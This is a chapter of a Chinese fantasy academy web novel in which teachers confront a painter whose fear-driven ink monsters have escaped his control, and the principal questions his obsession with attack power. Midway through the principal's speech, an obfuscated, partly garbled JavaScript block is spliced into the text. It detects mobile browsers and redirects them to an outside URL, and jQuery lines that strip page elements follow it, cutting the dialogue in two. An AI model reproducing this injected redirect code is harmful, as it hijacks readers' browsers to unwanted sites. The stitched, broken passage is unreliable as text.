隻剩一隻手能用的瘦削男人躺平在地上,側著臉看向自己的畫作,沒有一點反應。
蘇有月覺得他可能也不知道答案。和剛開始被指揮著包圍他們的墨水蜘蛛墨水貓咪等不同,現在‘地獄繪卷’裡的墨水人們,汪圖自己都無法控製。
黎所長要維持最外層的封閉圈,有很大的精神力負擔,必須消耗魔晶石才能維持。而且她明明是個副所長,卻不能直接上手銬,也不能用專管所的魔晶石,想抓捕犯人還得跟在他們這幫學生後麵,似乎限製很大。
如果情況繼續惡化下去……
“所長說,要我解決掉擁有[墨水化物]異能的人。”黎愛可收起電話,嚴肅道,“直接解決掉源頭,廠房裡的墨水怪物就能自己散開了。”
“這是什麼意思?”費掣挑眉,指向保護圈外,“那些玩意都脫離他的控製了,他自己也說他的畫作已經生成了不需要他的異能了,你的封|鎖圈也沒用……再怎麼說也得先拿副白手鏈來試一下吧,怎麼能急著處理人呢?”
白手鏈是能夠阻斷異能使用的手銬。因為用魔獸骨頭製成,顏色純白,又像鎖鏈一樣套在手腕上,才被稱為白手鏈。
黎愛可沉著臉沒回答,隻透過黑框眼鏡瞟了費掣一眼。
費掣以拳對掌敲了下,理解地點了點頭,轉身打電話:“喂,老郭,給我一副白手鏈……”
蘇有月看著費掣往專管所其他人那兒瞟了一眼,走到他們旁邊蹲下身。
借著學生們的遮擋,他從掏出魔晶石的內兜裡,掏出了一副潔白的手銬。
手銬拷在汪圖身上,沒有任何反應。
費掣遺憾地收起手銬,叮囑學生們:“可彆說出去,你們什麼都沒看到,明白了嗎?”
蘇有月等人紛紛點頭。
他們看兩個大人又商量了幾種方法,問郭校長要了幾種不同效果的道具,都沒有起作用。
最後,大概是實在沒辦法了,費老師對著地上的汪圖打開了視頻通話。
郭校長的頭像出現在屏幕上:“汪圖先生,我是長竹學園現任校長郭棟。算起來你也就比我小幾屆,
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928723|127808||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
稱呼你為學弟好了。”
地上的汪圖沒有反應。
桓鏡小聲提醒:“費老師,汪學長他沒戴眼鏡,可能看不清。”
費掣點了點頭,直接把手機貼到了汪圖耳邊。
郭棟繼續說道:“學弟,學園裡最近有一些墨水怪物相關的傳聞,但我們不清楚具體情況。現在29屆的小學妹說,你在研究情緒和異能的關係。我覺得有些奇怪,你為什麼要選擇這個方向?
“如果你還記得在長竹學園的時光,我想你應該記得我們反複強調過,作為異能者,控製自己的情緒,控製自己的異能,永遠是第一位。如果你還記得白銀尖塔的基礎培訓,也應該記得他們強調過,情緒難以控製,不建議作為能量研究。”
“你們懂什麼。”躺平的汪圖喃喃回複,“控製情緒是對大多數異能者的要求。那些揮揮手招出土塊,將鐵石變成黃金的異能當然不需要多少情緒。但我的異能,我的畫作需要。如果沒有感情,所有的畫作都沒有意義。”
郭棟:“畫作沒有意義?汪學弟,校史館裡迄今還保存著你當年的學生訪談。那時的你說,水墨寫意比工筆更容易傳達出黑白畫作的動感,更容易傳達所繪物品的靈性。你與采訪者討論時,一直在說筆下馬兒的靈動和神韻,並沒有談論到情緒和感情。
”我不知道你離開長竹後的學習經曆,但請你稍微想一想,你的繪畫有沒有偏離初衷?”
“沒有。”汪圖立刻回答,“在學園時是我經驗不夠沒有意識到,就是創作時情緒的問題!畫作沒有衝擊力,就無法對現實造成傷害。我自己已經沒有什麼值得表達的情感了……但我必須畫下去,我必須找到更多深重有力的情感,畫出更多充滿衝擊力,可以對抗魔獸的畫作!”
說話時,他的眼睛仍迷蒙地看著圈外,看著自己的地獄繪卷。
“而沒有一種情感,能比恐懼更能震撼人心。”
手機裡的郭棟沉默了一會兒。
“為什麼一定要追求攻擊能力呢?”他又問。
“你現在能很熟練地使用煉金矩陣了,讓你畫的馬載人馱物不行嗎?畫烏龜可以防禦,畫鳥可以充當信使,你的異能還有很多很多種可能性,或許你也能在探索隊裡充當厲害的後勤角色。為什麼一定要走在一條道上?”
汪圖咧了咧嘴角,勾起一個嘲諷的笑。
“嗬,不愧是長竹學園的現任校長。”他稍微向手機方向偏過頭,“以前我的老師們也總是這麼說,什麼不需要追求強大,不需要往黑岩和邊界學園的標準看齊,研究自己異能的可能性,做好自己……”
“我們教的不對嗎?”郭棟輕聲問道。
“學園的標準太落後了,協會不會承認,塔也不會承認。”汪圖的聲音漸漸大了起來,“我明白學園想要探索另一條異能者的道路,但這個世界終究是弱肉強食的。就說開學典禮的演習,黑岩和邊界都在統計新生斬殺魔獸的數量,隻有長竹是保護普通班學生撤退!
“現任校長?我告訴你,把學生們教得過於軟弱,到哪裡都會被人看不起!身為異能者,必須有敢爭敢搏的心性,必須不斷想辦法讓自己更加強大,否則隻會被人踩在腳底欺侮!
“我沒有錯,我必須證明自己!我的異能不是廢物,我的異能也很強大!我曾經擁有的榮光,會第二次,第三次回到我身上!”
聽到這裡,蘇有月歎了口氣。
說什麼證明自己,證明異能不是廢物……滿口不離黑岩邊界的評定標準,隻研究攻擊力不考慮其他,聽起來汪圖依舊在為16歲時,沒能進入前兩所頂尖學園憤憤不已。
郭校長都那麼直白建議他,他的異能還能怎麼鍛煉怎麼提升,怎麼成為探索隊的一員,未來可以試著怎麼走了,他依舊偏執地聽不進去。
有那麼厲害的輔助類異能不好嗎?雖說異能界弱肉強食,隻要能找到合適的團隊,一樣能有不錯的地位。
起碼比他的垃圾廢物異能好多了,能夠給彆人創造價值。
……
不過,說到證明自己的異能不是廢物……
蘇有月看向周圍的同學們。
其他人還好,桓鏡和舟婭都低下了頭,神色黯然。